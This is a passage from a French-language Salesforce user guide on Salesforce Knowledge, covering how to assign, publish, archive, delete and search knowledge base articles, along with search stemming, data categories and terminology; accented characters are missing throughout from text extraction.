Le Portail Client. Les clients ont accs aux articles si l'onglet Articles est disponible dans le portail. Les utilisateurs du
Portail client hritent de la visibilit du rle attribue au responsable du compte.
La base de connaissances publique. Les articles peuvent tre accessibles aux utilisateurs anonymes en crant une base
de connaissances publique l'aide de la sous-application PKB dans Force.com AppExchange. La cration d'une base
de connaissances publique ncessite les Sites Force.com et Visualforce.

6. Cliquez sur Enregistrement rapide pour enregistrer vos modifications et continuer sur cette page. Vous pouvez galement
cliquer sur Enregistrer pour sauvegarder vos modifications, puis accder l'onglet Gestion des articles.
7. Vous pouvez galement :

Crer une attribution pour permettre un utilisateur de modifier ou de rviser un article.

Publier l'article.
Remarque: Lorsque vous crez un article, il vous est automatiquement attribu.

Conseils de mise en uvre

Lors de l'application de catgories, slectionnez celles qu'un utilisateur est susceptible de rechercher en naviguant sous
l'onglet Articles tab, dans le Portail client et dans la base de connaissances publique. Les utilisateurs recherchent un article
uniquement s'ils slectionnent sa catgorie explicitement applique, le parent ou un enfant de cette catgorie.
Plusieurs utilisateurs peuvent modifier le mme article en mme temps. Dans ce cas, vos modifications peuvent tre
remplaces sans avertissement par celles d'un collgue, mme en sauvegardant rgulirement votre travail. Pour viter la
perte accidentelle de donnes, invitez vos utilisateurs modifier uniquement les articles qui leur sont attribus.

Utilisation de la base de connaissances Salesforce Knowledge

Guide de l'utilisateur | Gestion des articles | 1491

Les meilleures pratiques

Attribuez des articles aux utilisateurs qui doivent contribuer leur rdaction. Saisissez des instructions d'attribution directes,
brves et claires. Spcifiez une date d'chance pour dfinir un cadre de travail temporel. Si votre quipe de base de
connaissances respecte ces prcautions, vous pouvez aisment suivre la progression des articles brouillon de votre organisation
en consultant les vues des articles brouillon sous l'onglet Gestion des articles.
Assurez-vous d'attribuer vous-mme les articles sur lesquels vous souhaitez travailler.

Voir aussi :
Prsentation de la base de connaissances Salesforce Knowledge
Terminologie utile relative la base de connaissances Salesforce Knowledge
Gestion des types d'articles
Gestion des catgories de donnes
Attribution d'articles brouillon
Publication d'articles

Attribution d'articles brouillon

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour crer, modifier, publier, archiver ou supprimer des articles Modifier les articles
:

L'utilisation d'articles brouillon est souvent un effort collectif : diffrents membres de l'quipe ditoriale crent des brouillons,
rvisent le texte et la mise en forme, ajoutent de images, etc. La base de connaissances Salesforce Knowledge permet d'attribuer
des articles brouillon aux utilisateurs qui doivent pouvoir travailler dessus tout moment.
Par exemple, supposons que vous crez un article et l'attribuez vous-mme avec l'instruction Rdiger le contenu avant le
10 (tape 1 dans #knowledge_article_task/ExampleDraftAsst). Le 10 votre article est complet, mais vous avez besoin de
l'aide d'un infographiste. Vous attribuez l'article votre infographiste avec l'instruction Finaliser le visuel avant le 20 (tape
2). Lorsque l'infographiste ouvre l'onglet Gestion des articles, elle voit la nouvelle attribution dans la vue Mes articles brouillon.
Lorsqu'elle a termin le visuel, elle vous rattribue l'article pour vrification. L'article est maintenant affich dans votre vue
Mes articles brouillon avec une nouvelle instruction : Rviser cet article avant la publication (tape 3). Pour terminer,
vous rvisez l'article et dcidez de planifier sa publication le 31.
Une attribution est un article brouillon qui a t attribu un autre utilisateur pour dition. Les attributions peuvent contenir
de brves instructions et une date d'chance. Lorsque vous crez un article, une nouvelle attribution lui est automatiquement
jointe. Vous pouvez modifier l'attribution, saisir les instructions, choisir un bnficiaire et spcifier une date d'chance. Les
articles ne peuvent avoir qu'une seule attribution la fois. Notez que tous les utilisateurs disposant des autorisations requises
peuvent modifier un article, mme s'ils n'en sont pas les bnficiaires.
Pour afficher les attributions, cliquez sur Mes articles brouillon (vos attributions uniquement) ou sur Tous les
articles brouillon (vos attributions et celles des autres utilisateurs).
Pour attribuer ou rattribuer un article, procdez comme suit :

Utilisation de la base de connaissances Salesforce Knowledge

Guide de l'utilisateur | Gestion des articles | 1492

1. Dans les vues Mes articles brouillon ou Tous les articles brouillon, activez la case en regard d'un article,
puis cliquez sur Attribuer.... Vous pouvez galement cliquer sur Attribuer... dans la page de dtails ou la page de modification
de l'article.
2. Choisissez un utilisateur.
3. Saisissez les instructions relatives l'attribution.
4. Choisissez une date d'chance.
5. Cliquez sur OK.
Les meilleures pratiques

Si votre processus ditorial comprend plusieurs niveaux de brouillon et de multiples tches collaboratives, utilisez des
attributions pour grer ces tapes.
Plusieurs utilisateurs peuvent modifier le mme article en mme temps. Dans ce cas, vos modifications peuvent tre
remplaces sans avertissement par celles d'un collgue, mme en sauvegardant rgulirement votre travail. Pour viter la
perte accidentelle de donnes, invitez vos utilisateurs modifier uniquement les articles qui leur sont attribus.
Assurez-vous d'attribuer vous-mme les articles sur lesquels vous souhaitez travailler.

Voir aussi :
Terminologie utile relative la base de connaissances Salesforce Knowledge
Publication d'articles
Cration et modification des articles

Publication d'articles
Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour crer, modifier, publier, archiver ou supprimer des articles Modifier les articles
:

La publication d'un article le dplace dans la vue Articles publis et le rend visible aux agent et clients dans tous les
canaux disponibles.
Pour publier un article :
1. Sous l'onglet Gestion des articles, ouvrez la vue Mes articles brouillon ou Tous les articles brouillon, activez une case de la
liste, puis cliquez sur Publier.... Vous pouvez galement cliquer sur Publier... dans la page de dtails ou la page de
modification d'un article.
2. Slectionnez Publier le ou les articles maintenant ou Planifier la publication le pour choisir la
date de publication de l'article.
3. Si l'article a dj t publi, activez la case Marquer comme nouvel article pour afficher l'icne du nouvel article
( ) en regard de votre article dans les canaux slectionns. Les utilisateurs de ces canaux peuvent constater que cet article
a t modifi depuis la dernire fois qu'ils l'ont lu. Cette case n'est pas disponible lorsque vous publiez un article pour la
premire fois, car l'icne s'affiche par dfaut.

Utilisation de la base de connaissances Salesforce Knowledge

Guide de l'utilisateur | Gestion des articles | 1493

Si le brouillon en cours de publication est une copie d'un article dj publi, il est publi sous une autre version que l'original.
4. Cliquez sur OK.
Les articles que vous publiez maintenant sont directement dplacs vers la vue Articles publis. Les articles que vous comptez
publier ultrieurement continuent de s'afficher dans les vues Mes articles brouillon et Tous les articles brouillon, avec l'icne
En attente ( ) en regard du titre de l'article. Pour afficher la date de publication, survolez l'icne. la date de publication,
l'article est automatiquement dplac vers la vue Articles publis.
Remarque:

Si vous attribuez un article dont la publication est planifie, vous annulez galement la publication.
La planification d'une publication supprime toute information d'attribution. L'utilisateur qui a planifi la publication
est attribu l'article.

Conseil: Pour annuler une publication planifie, cliquez sur Annuler la publication dans la page de dtails ou de
modification de l'article.

Voir aussi :
Terminologie utile relative la base de connaissances Salesforce Knowledge
Attribution d'articles brouillon
Affichage des articles
Cration et modification des articles

Archivage des articles

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour crer, modifier, publier, archiver ou supprimer des articles Modifier les articles
:

L'archivage supprime les articles publis devenus obsoltes afin d'annuler leur publication pour les agents et clients, dans les
canaux de la base de connaissances Salesforce Knowledge de votre organisation.
Pour archiver des articles :
1. Sous l'onglet Gestion des articles, ouvrez la vue Articles publis, slectionnez les articles archiver, puis cliquez sur
Archiver.... Vous pouvez galement cliquer sur Archiver... dans la page de dtails d'un article publi.
2. Slectionnez Archiver le ou les articles maintenant ou Planifier l'archivage le pour choisir la date
d'archivage de l'article.
3. Cliquez sur OK.
Les articles que vous archivez maintenant sont directement dplacs vers la vue Articles archivs. Les articles que vous comptez
archiver ultrieurement continuent de s'afficher dans la vue Mes articles publis, avec l'icne En attente ( ) en regard du titre

Utilisation de la base de connaissances Salesforce Knowledge

Guide de l'utilisateur | Gestion des articles | 1494

de l'article. Pour afficher la date d'archivage, survolez l'icne. la date d'archivage, l'article est automatiquement dplac vers
la vue Articles archivs.
Remarque: Si vous modifiez un article publi qui est planifi pour l'archivage, vous annulez galement l'archivage.

Voir aussi :
Terminologie utile relative la base de connaissances Salesforce Knowledge
Publication d'articles
Cration et modification des articles
Suppression d'articles

Suppression d'articles
Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour crer, modifier, publier, archiver ou supprimer des articles Modifier les articles
:

Vous pouvez supprimer des articles brouillon et archivs. Les articles publis ne peuvent pas tre supprims directement. Vous
devez les archiver avant de les supprimer.
Pour supprimer des articles :
1. Sous l'onglet Gestion des articles, ouvrez la vue Mes articles brouillon, Tous les articles brouillon ou Articles archivs,
activez une case de la liste, puis cliquez sur Supprimer. Vous pouvez galement cliquer sur Supprimer dans la page de
dtails d'un article brouillon or archiv.
2. Cliquez sur OK.
La suppression d'articles les dplace vers la Corbeille la page 1456, depuis laquelle vous pouvez les restaurer si ncessaire.
Remarque: Si vous supprimez un article brouillon qui est une copie d'un article dj publi, la version originale n'est
pas affecte mais la version brouillon est dfinitivement supprime. Elle n'est pas envoye vers la Corbeille la page
1456. Vous pouvez de nouveau modifier la version publie de votre travail dans une copie brouillon.
La suppression d'un article peut chouer si un autre utilisateur ou le systme modifie l'article pendant la suppression. Dans ce
cas, vous recevez un message d'erreur.

Voir aussi :
Terminologie utile relative la base de connaissances Salesforce Knowledge
Archivage des articles

Utilisation de la base de connaissances Salesforce Knowledge

Guide de l'utilisateur | Utilisation des articles | 1495

Utilisation des articles

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour visualiser des articles :

Afficher les articles

L'onglet Articles permet de rechercher des articles publis dans la base de connaissances Salesforce Knowledge. Pour afficher
un article, cliquez sur son titre.
La vue de liste par dfaut contient des articles crs ou mis jour au cours des 30 derniers jours. Pour trier la liste selon la
valeur d'une colonne, cliquez sur l'en-tte de cette colonne. Pour choisir les colonnes afficher dans la page, slectionnez vos
prfrences dans la liste droulante du bouton Colonnes. Les colonnes disponibles comprennent :

Nouveau - Marqueur indiquant si vous avez affich l'article.

Type - Type d'article attribu l'article. Les types d'articles dterminent le contenu et le format de chaque article.
Date de publication - Date laquelle l'article a t publi (date de l'original ou de la rvision).
Les plus consults par tous les utilisateurs - Indicateur de comparaison, calcul en ajoutant les vues de tous les canaux
concerns : agents de base de connaissances, utilisateurs du Portail client et visiteurs de la base de connaissances publique.
Tous les votes des utilisateurs - Moyenne des votes de tous les utilisateurs, qui comprend les agents de base de connaissances
(utlisateurs internes) et les clients. Les visiteurs de la base de connaissances publique ne peuvent pas voter pour des articles.
Pour plus d'informations sur les votes des utilisateurs, reportez-vous la rubrique Affichage des articles la page 1496.
Votes des agents - Moyenne des votes que les agents de base de connaissances ont attribu l'article l'aide de la
sous-application interne.
Votes des clients - Moyenne des votes que les clients ont attribu l'article. Cette option est disponible uniquement si
votre organisation montre les articles via le Portail client.
Les plus consults par les agents - Indicateur de comparaison, calcul en ajoutant les vues des agents de base de connaissances.
Les plus consults par les visiteurs - Indicateur de comparaison, calcul en ajoutant les vues des visiteurs de la base de
connaissance publique.
Les plus consults par les clients - Indicateur de comparaison, calcul en ajoutant les vues des utilisateurs du Portail client.

Voir aussi :
Prsentation de la base de connaissances Salesforce Knowledge
Terminologie utile relative la base de connaissances Salesforce Knowledge
Recherche d'articles
Affichage des articles

Utilisation de la base de connaissances Salesforce Knowledge

Guide de l'utilisateur | Utilisation des articles | 1496

Affichage des articles

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour visualiser des articles :

Afficher les articles

Affichage d'un article sous l'onglet Articles

Pour afficher un article publi, cliquez sur son titre sous l'onglet Articles. Le format et le contenu de l'article dpend du type
d'article slectionn par votre administrateur, mais tous les articles comprennent un en-tte de Proprits modifiable qui
contient les informations suivantes :

Extrait - Rcapitulatif de l'article.

Date de premire publication - Date et heure de la publication initiale de l'article.
Date de dernire modification - Date et heure de la dernire mise jour, importante ou non, de l'article.
Date de dernire publication - Date et heure de la dernire mise jour importante de l'article. Un auteur indique une mise
jour importante en marquant l'article comme nouveau lors sa publication.

L'en-tte permet galement de voter pour l'article, selon une chelle alant de une et cinq toiles, et de consulter la moyenne
des votes. Les moyennes ne sont pas statiques. Tous les 15 jours, si un article n'a reu aucun vote, sa moyenne augmente ou
diminue selon un calcul de dcroissance. Cet ajustement permet, au fil du temps, de ne pas conserver artificiellement les notes
faibles ou leves d'articles anciens ou obsoltes par rapport aux articles plus rcents et plus frquemment utiliss. Les articles
sans vote rcent conservent gnralement une note moyenne de trois toiles.
Affichage d'un article sous l'onglet Gestion des articles
Dans la page de vue de liste d'articles brouillon, publis ou archivs :

Cliquez sur le titre de l'article pour afficher une version en lecture seule de la page de dtails de l'article. Cliquez sur Modifier
pour mettre jour l'article.
Cliquez sur Aperu pour visualiser l'article tel qu'il s'affiche sous l'onglet Articles.

Voir aussi :
Prsentation de la base de connaissances Salesforce Knowledge
Terminologie utile relative la base de connaissances Salesforce Knowledge

Utilisation de la base de connaissances Salesforce Knowledge

Guide de l'utilisateur | Utilisation des articles | 1497

Recherche d'articles
Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour visualiser des articles :

Afficher les articles

Recherche d'articles sous l'onglet Articles

Par dfaut, l'onglet Articles affiche les articles crs ou modifis au cours de 30 derniers jours. Pour rechercher un article,
utilisez les outils de recherche de la barre latrale :
1. Saisissez les termes rechercher dans la zone Recherche. Vous pouvez utiliser des oprateurs et caractres gnriques de
recherche dans vos termes de recherche.
Remarque: Si vous effectuez une recherche vide, c.--d. vous cliquez sur OK sans saisir de terme de recherche ni
slectionner un type d'article ou une catgorie, vos rsultats de recherche contiennent les articles qui ont t crs
ou modifis au cours des 30 derniers jours. Une recherche vide ne renvoie pas tous les articles publis dans la base
de connaissances.
2. Vous pouvez galement slectionner un ou plusieurs types d'articles que vous souhaitez rechercher.
3. Cliquez sur OK.
4. Si votre organisation utilise des catgories, vous pouvez filtrer la vue de liste en slectionnant une ou plusieurs catgories.
Remarque:

Si un article ne contient aucune catgorie, il s'affiche uniquement si l'option Aucun filtre est utilise dans
le menu droulant de la catgorie.
Lors de la recherche d'articles, la slection d'une catgorie comprend automatiquement son parent et ses enfants,
ainsi que les grands-parents ventuels (catgories de troisime niveau), y compris la catgorie suprieure. Par
exemple, si une hirarchie de catgories comporte les niveaux Tous les produits, Commutateurs, Rseaux
optiques et Cur du rseau, la slection de Rseaux optiques dans le menu droulant de la catgorie renvoie
des articles attribus l'une des quatre catgories. Cependant, elle ne renvoie aucun article attribu des
catgories semblables. Par exemple, si Commutateurs comportait une catgorie semblable appele Routeurs,
la slection de Rseaux optiques ne renverrait aucun article class avec les Routeurs. Les paramtres de
visibilit de catgorie peuvent limiter les articles spcifiques que vous trouvez.
Les utilisateurs qui ne sont pas attribus un rle peuvent afficher uniquement les articles non classs.

5. Cliquez sur l'en-tte de colonne de votre choix pour trier les rsultats par ordre croissant. Cliquez de nouveau sur l'en-tte
pour trier la colonne par ordre dcroissant.
Conseil: Si votre onglet Accueil inclut un composant de recherche d'articles, vous pouvez galement rechercher des
articles partir de cet onglet. Saisissez vos termes de recherche dans le champ Rechercher des articles. Pour plus
d'informations sur l'ajout de composants sous l'onglet Accueil, reportez-vous Conception des prsentations de page
de l'onglet Accueil la page 570.

Utilisation de la base de connaissances Salesforce Knowledge

Guide de l'utilisateur | Utilisation des articles | 1498

Recherche d'articles sous l'onglet Gestion des articles

L'onglet Gestion des articles permet de visualiser les articles dans toutes les phases du cycle de vie de publication, puis de
rechercher un article spcifique dans la vue de liste slectionne. La vue de liste par dfaut sous l'onglet Gestion des articles
contient des articles brouillon (non publis) qui vous sont attribus.
Pour rechercher un article, utilisez les outils de recherche de la barre latrale :
1. Slectionnez Mes articles brouillon, Tous les articles brouillon, Articles publis ou Articles archivs.
2. Vous pouvez galement siasir vos termes de recherche dans la zone Rechercher dans la vue. Vous pouvez utiliser des
oprateurs et caractres gnriques de recherche dans vos termes de recherche.
3. Cliquez sur OK.
4. Si votre organisation utilise des catgories, vous pouvez filtrer la vue de liste en slectionnant une ou plusieurs catgories.
Remarque:

Si un article ne contient aucune catgorie, il s'affiche uniquement si l'option Aucun filtre est utilise dans
le menu droulant de la catgorie.
Lors de la recherche d'articles, la slection d'une catgorie comprend automatiquement son parent et ses enfants,
ainsi que les grands-parents ventuels (catgories de troisime niveau), y compris la catgorie suprieure. Par
exemple, si une hirarchie de catgories comporte les niveaux Tous les produits, Commutateurs, Rseaux
optiques et Cur du rseau, la slection de Rseaux optiques dans le menu droulant de la catgorie renvoie
des articles attribus l'une des quatre catgories. Cependant, elle ne renvoie aucun article attribu des
catgories semblables. Par exemple, si Commutateurs comportait une catgorie semblable appele Routeurs,
la slection de Rseaux optiques ne renverrait aucun article class avec les Routeurs. Les paramtres de
visibilit de catgorie peuvent limiter les articles spcifiques que vous trouvez.
Les utilisateurs qui ne sont pas attribus un rle peuvent afficher uniquement les articles non classs.

5. Cliquez sur l'en-tte de colonne de votre choix pour trier les rsultats par ordre croissant. Cliquez de nouveau sur l'en-tte
pour trier la colonne par ordre dcroissant.
Recherche d'articles dans la liste associe Articles
Les requtes peuvent inclure une liste associe Articles qui permet de rechercher des articles et de les joindre la requte. Pour
rechercher un article afin de vous aider rsoudre une requte, procdez comme suit :
1. Affichez une page de dtails de requte.
2. Cliquez sur Rechercher des articles dans la liste associe Articles. L'objet de la requte est automatiquement utilis comme
terme de recherche afin de renvoyer une premire liste de rsultats de recherche.
3. Dans la barre latrale de la page Articles qui s'affiche, vous pouvez affiner vos rsultats de recherche par type ou catgorie
d'articles, ou lancer une nouvelle recherche.
4. Losrque vous trouvez un article utile pour la requte, cliquez sur Joindre. L'article est ajout la liste associe Articles dans
la page de dtails de la requte.

Voir aussi :
Comportement de racinisation dans les Salesforce Knowledge Recherches d'articles
Que sont les catgories de donnes ?
Utilisation des articles

Utilisation de la base de connaissances Salesforce Knowledge

Guide de l'utilisateur | Utilisation des articles | 1499

Comportement de racinisation dans les Salesforce Knowledge Recherches d'articles

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour visualiser des articles :

Afficher les articles

La Racinisation est le processus de rduction d'un terme sa racine. Grce la racinisation, la recherche peut s'appliquer aux
formes tendues du terme recherch. Par exemple, la recherche de excuter correspond aux lments qui contiennent
excuter, excution et excut.
Remarque: La racinisation est disponible uniquement pour les organisations dont la langue par dfaut est le Franais,
l'Anglais, l'Allemand ou l'Espagnol. Vous pouvez modifier la langue par dfaut de votre organisation dans la page
Informations sur la socit.
Notez les points suivants concernant le comportement de racinisation Salesforce Knowledge dans les recherches d'articles :
Caractres gnriques
Si une expression recherche contient un caractre gnrique Astrisque (*) ou Point d'interrogation (?), aucun terme
recherch n'est racinis. Par exemple, la recherche de bois* rafrachissante ne correspond pas rafrachir ni
rafrachies.
Recherches d'expressions exactes
Si une recherche contient une expression entre guillemets ("), les termes recherchs sont raciniss. Par exemple, la
recherche de "boire un jus de fruit" dlicieux correspond bu des jus de fruit et dlicieusement.
Synonymes
Un synonyme dfini n'est pas racinis dans les rsultats de recherche, mais correspond une expression exacte. Le terme
recherch est toutefois racinis. Par exemple, si le groupe de synonymes suivant est dfini :
rafrachir, boire un jus d'orange
La recherche de rafrachir correspond rafrachir, rafrachi, rafrachissant et boire un jus d'orange, mais ne correspond
pas bu un jus d'orange.

Voir aussi :
Recherche d'articles

Configuration de la base de connaissances Salesforce

Knowledge
Prsentation de la base de connaissances Salesforce
Knowledge
Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

La base de connaissances Salesforce Knowledge permet aux utilisateur de crer et grer aisment du contenu, appel article,
de rechercher et d'afficher rapidement les articles voulus. Une fois la base de connaissances Salesforce Knowledge dfinie dans
votre organisation, les utilisateurs peuvent crire, modifier, publier et archiver les articles via l'onglet Gestion des articles, ou
rechercher et publier des articles via l'onglet Articles. Les clients et internautes peuvent accder des articles si la base de
connaissances Salesforce Knowledge est active dans le Portail client ou dans une base de connaissances publique.
Vue d'ensemble de la base de connaissances Salesforce Knowledge
La base de connaissances Salesforce Knowledge fournit les fonctionnalits et les tches ci-dessous pour vous aider grer
efficacement votre base de connaissances et ses utilisateurs :
Utilisation de types d'articles
Les types d'articles sont des conteneurs personnaliss pour vos articles. Chaque article est attribu un type d'article qui
dtermine le contenu et la structure de l'article publi. Les administrateurs dfinissent les types d'article en crant des
champs personnaliss pour capturer les donnes de l'article, pour organiser les champs en sections dans la prsentation
du type d'article et pour attribuer un modle chaque canal. Le modle de type d'article spcifie le rendu de la prsentation.
Salesforce.com fournit deux modles de type d'article standard, Onglet et Table des matires. Vous pouvez galement
utiliser Visualforce pour crer des modles personnaliss.
Organisation des articles en catgories
Les catgories de donnes permettent de classer les articles dans la base de connaissances Salesforce Knowledge. Ce
classement aide les utilisateurs rechercher des articles et permet aux administrateurs de contrler leur visibilit. Une
fois les catgories de donnes configures, lesresponsables de base de connaissances peuvent attribuer les catgories
appropries aux articles brouillon. Lorsque les utilisateurs finaux recherchent des articles publis dans un canal (la
sous-application interne, le Portail client ou la base de connaissances publique), ils peuvent utiliser les catgories pour
retrouver plus facilement les informations. Un rle d'utilisateur doit accorder l'accs une catgorie pour permettre
l'utilisateur d'afficher les articles classs dans une catgorie.
Gestion des articles
Sous l'onglet Gestion des articles, les responsables de base de connaissances peuvent crer de nouveaux articles, rechercher
et grer des articles existants n'importe quelle phase du cycle de vie de la base de connaissances :
1. Lors de la cration et de l'enregistrement d'un article, il s'affiche dans les vues Mes articles brouillon et Tous les
articles brouillon. Lorsque vous crez un article, il vous est automatiquement attribu.
2. Les articles brouillon sont attribus des relecteurs et des collaborateurs jusqu' la finalisation du contenu.
3. Les articles termins sont publis et dplacs dans la vue Articles publis, immdiatement ou une date dfinie. Les
articles publis sont affichs pour les agents et les clients dans les canaux suivants : la sous-application interne, le
Portail client et la base de connaissances publique.
4. Les articles publis peuvent tre mis jour. Vous pouvez travailler directement sur l'article publi, en changeant son
statut de publi brouillon, ou sur une copie afin de laisser l'article publi disponible dans les canaux.

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5. Lorsqu'ils sont obsoltes, les articles publis sont archivs afin de les retirer des canaux. Comme la publication, la
transition peut tre immdiate ou une date dfinie.
6. Les articles archivs sont supprims ou convertis en brouillons pour initier un nouveau cycle de publication.
Cration d'articles
Pour crer des articles, les auteurs slectionnent un type d'article, rdigent leur contenu, les attribuent des catgories
et slectionnent un ou plusieurs canaux. Selon le type d'article, plusieurs champs peuvent tre disponibles pour diffrents
types de donnes. Le type de champ en zone de texte enrichi permet d'amliorer l'apparence du texte dans les articles
grce un diteur HTML. Dans cette interface WYSIWYG, les auteurs peuvent excuter les oprations suivantes :

Mettre en forme le texte en gras, en italique ou le souligner

Crer des listes puces et des listes numrotes
Modifier le retrait des paragraphes
Insrer des liens hypertexte dans les pages Web
Insrer une image

Joindre des articles aux requtes

Associe des requtes, la base de connaissances Salesforce Knowledge offre un puissant outil de support client. Pour
rechercher dans la base de connaissances directement partir d'une requte et joindre la requte des articles associs
afin d'en faciliter le rfrencement, ajoutez la liste associe Articles aux prsentations de page des requtes.
Recherche d'articles
La recherche d'articles dans la base de connaissances Salesforce Knowledge est rapide et aise. Saisissez un terme sous
l'onglet Articles pour lancer une recherche de texte complet dans la base de connaissances, et affinez la recherche en
slectionnant des types d'articles et des catgories spcifiques. Vous pouvez filtrer les rsultats de la recherche par catgories
et trier la vue de liste selon plusieurs critres, tels que les articles prfrs ou les plus consults. Sous l'onglet Gestion des
articles, vous pouvez rechercher un article spcifique dans la vue de liste de votre choix. Le composant Recherche d'article
permet de rechercher des articles depuis l'onglet Accueil.
Cote des articles
Les utilisateurs de la sous-application interne et du Portail client peuvent noter les articles en leur attribuant de 1 5
toiles et afficher la cote moyenne d'un article. Les cotes moyennes ne sont pas statiques. Tous les 15 jours, si un article
n'a reu aucun vote, sa moyenne augmente ou diminue selon un calcul de dcroissance. Cet ajustement permet, au fil du
temps, de ne pas conserver artificiellement les notes faibles ou leves d'articles anciens ou obsoltes par rapport aux
articles plus rcents et plus frquemment utiliss. Les articles sans vote rcent conservent gnralement une cote moyenne
de 3 toiles. L'onglet Articles permet galement aux utilisateurs de comparer les notes des diffrents articles et de trier
la vue de liste selon leur cote, faible ou leve.
Conseils de mise en uvre
Tenez comptez des informations suivantes lors de la planification et de la mise en uvre la base de connaissances Salesforce
Knowledge pour votre organisation :

Pour plus d'informations sur la mise en uvre, reportez-vous la rubrique Configuration de la base de connaissances
Salesforce Knowledge la page 1505.
Pour publier les articles sur votre site Web, installez la sous-application Exemple de base de connaissances publique pour
Salesforce Knowledge dans AppExchange.
Les utilisateurs du Portail client haut volume n'ont pas accs la base de connaissances Salesforce Knowledge.
Les utilisateurs de la base de connaissances publique ne peuvent pas noter les articles.
Si votre organisation utilise des catgories de donnes :

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Vous pouvez crer jusqu' trois groupes de catgories avec cinq niveaux hirarchiques au maximum dans chaque groupe.
Chaque groupe de catgories peut comprendre jusqu' 100 catgories. Pour augmenter ces limites, contactez
salesforce.com.
Les groupes de catgories sont masqus aux utilisateurs tant qu'ils ne sont pas activs. N'activez pas un groupe de
catgories avant d'avoir dfini ses catgories et les paramtres d'accs, y compris leur mappage sur des rles.
Lors de l'attribution de catgories des articles, vous pouvez slectionner jusqu' 10 catgories dans un groupe de
catgories.
Si un article ne contient aucune catgorie, il s'affiche uniquement si l'option Aucun filtre est utilise dans le menu
droulant de la catgorie.
Lors de la recherche d'articles, la slection d'une catgorie comprend automatiquement son parent et ses enfants, ainsi
que les grands-parents ventuels (catgories de troisime niveau), y compris la catgorie suprieure. Par exemple, si une
hirarchie de catgories comporte les niveaux Tous les produits, Commutateurs, Rseaux optiques et Cur du rseau,
la slection de Rseaux optiques dans le menu droulant de la catgorie renvoie des articles attribus l'une des
quatre catgories. Cependant, elle ne renvoie aucun article attribu des catgories semblables. Par exemple, si
Commutateurs comportait une catgorie semblable appele Routeurs, la slection de Rseaux optiques ne renverrait
aucun article class avec les Routeurs. Les paramtres de visibilit de catgorie peuvent limiter les articles spcifiques
que vous trouvez.
Suppression d'une catgorie :

Suppression d'un groupe de catgories :

La suppression est dfinitive. Une catgorie supprime ne peut tre restaure. Elle n'est pas place dans la Corbeille.
La suppression des catgories enfant est galement dfinitive.
Cette opration supprime la catgorie et ses enfants du menu droulant de la catgorie, des onglets Articles et
Gestion des articles, de la base de connaissances publique de votre entreprise ainsi que du Portail client de votre
entreprise.
Les associations entre les catgories et les articles sont supprimes. Vous pouvez rattribuer des articles une autre
catgorie.
Le mappage sur un rle est supprim. Les utilisateurs de ce rle perdent toute visibilit des articles qui contenaient
la catgorie.

Le groupe de catgories est dplac vers la section Groupes de catgories supprims, qui correspond une corbeille.
Vous pouvez visualiser ces lments dans cette section, sans pouvoir les modifier. Elle conserve les groupes de
catgories pendant 45 jours avant de les supprimer dfinitivement, sans possibilit de les restaurer. Durant cette
priode de 45 jours, vous pouvez restaurer un groupe de catgories ou le supprimer dfinitivement.
Toutes les catgories du groupe sont supprimes.
Toutes les associations entre les catgories et les articles du groupe sont supprimes.
Toutes les associations entre les catgories et les rles du groupe sont supprimes et les utilisateurs perdent tout
accs ces catgories.
Le menu droulant de la catgorie est supprim des onglets Articles et Gestion des articles, du Portail client de
votre entreprise, ainsi que de la base de connaissances publique de votre entreprise.

Vous pouvez traduire les tiquettes des catgories et des groupes de catgories l'aide du Systme de traduction.

Les meilleures pratiques

Tenez compte des conseils suivants lors de la planification et de l'utilisation de la base de connaissances Salesforce Knowledge :

Utilisez des conteneurs personnaliss pour vos articles grce la configuration de plusieurs types d'articles. Organisez les
articles par type pour mieux diffrencier les contenus et offrir davantage de flexibilit aux utilisateurs qui recherchent des
articles.

Configuration de la base de connaissances Salesforce KnowledgeGuide de l'utilisateur | Terminologie utile relative la base de connaissances
S a l e s f o r c e
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Avant de configurer des catgories de donnes, planifiez rigoureusement les groupes de catgories et leur hirarchie.
Dfinissez galement le mappage des catgories de donnes sur votre hirarchie de rles. Pour plus d'informations,
reportez-vous la rubrique Vue d'ensemble des paramtres de visibilit des groupes de catgories la page 1344
Plusieurs utilisateurs peuvent modifier le mme article en mme temps. Dans ce cas, vos modifications peuvent tre
remplaces sans avertissement par celles d'un collgue, mme en sauvegardant rgulirement votre travail. Pour viter la
perte accidentelle de donnes, invitez vos utilisateurs modifier uniquement les articles qui leur sont attribus.

Terminologie utile relative la base de connaissances

Salesforce Knowledge
Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Les termes ci-aprs sont utiliss pour dcrire les fonctions et les fonctionnalits de la base de connaissances Salesforce Knowledge.
Article archiv
Les articles archivs sont publis, puis retirs de la vue publique. Les responsables d'une base de connaissances peuvent
visualiser et grer les articles archivs sous l'onglet Gestion des articles, mais les articles archivs ne sont pas visibles sous
l'onglet Articles, dans le Portail client ou dans la base de connaissances publique. Les articles peuvent tre archivs
manuellement ou automatiquement l'aide d'une date d'expiration.
Article
Les Articles capturent des informations sur les produits et les services de votre votre entreprise que vous souhaitez publier
dans votre base de connaissances.
Modle de type d'article
Un modle de type d'article dfinit le rendu des articles dans une prsentation de type d'article. Un type d'article peut avoir
un modle diffrent pour chacun de ses trois canaux. Par exemple, si le canal Portail client dans le type d'article FAQ
est attribu au modle Onglet, les sections de la prsentation du FAQ s'affichent sous la forme d'onglets lorsque les
visiteurs consultent un article du FAQ. Pour le modle Table de matires, les sections dfinies dans la prsentation
occupent une seule page (avec des liens hypertexte) lors de l'affichage de l'article. Salesforce.com fournit deux modles
de type d'article standard, Onglet et Table des matires. Les modles personnaliss peuvent tre crs avec Visualforce.
Type d'article
Tous les articles de la base de connaissances Salesforce Knowledge sont attribus un type d'article en fonction de leur
contenu. Par exemple, un type d'article de FAQ simple peut inclure deux champs personnaliss, Question er Rponse,
dans lesquels le responsable de la base de connaissances saisit des donnes lors de la cration ou de la mise jour des
